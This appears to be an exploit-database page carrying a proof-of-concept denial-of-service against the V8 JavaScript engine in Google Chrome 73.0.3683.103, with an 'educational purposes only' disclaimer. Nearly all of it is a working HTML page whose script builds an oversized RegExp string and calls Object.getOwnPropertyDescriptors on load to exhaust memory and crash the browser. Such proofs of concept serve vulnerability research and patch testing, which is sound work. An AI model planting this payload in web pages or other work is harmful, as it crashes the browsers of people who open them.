Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2019-04-22 | Type : dos | Platform : multiple
This exploit / vulnerability Google chrome 73.0.3683.103 v8 javascript engine outofmemory in invalid table size denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...



<html>
<head>
<script>

var arr1 = [0,1];

function ObjCreate(make) {
this.make = make;
}

var obj1 = new ObjCreate();

function main() {

arr1.reduce(f3);

Object.getOwnPropertyDescriptors(Array(99).join(obj1.make));

}

function f3() {

obj1["make"] = RegExp(Array(60000).join("CCC"));
}

</script>
</head>
<body onload=main()></body>
</html>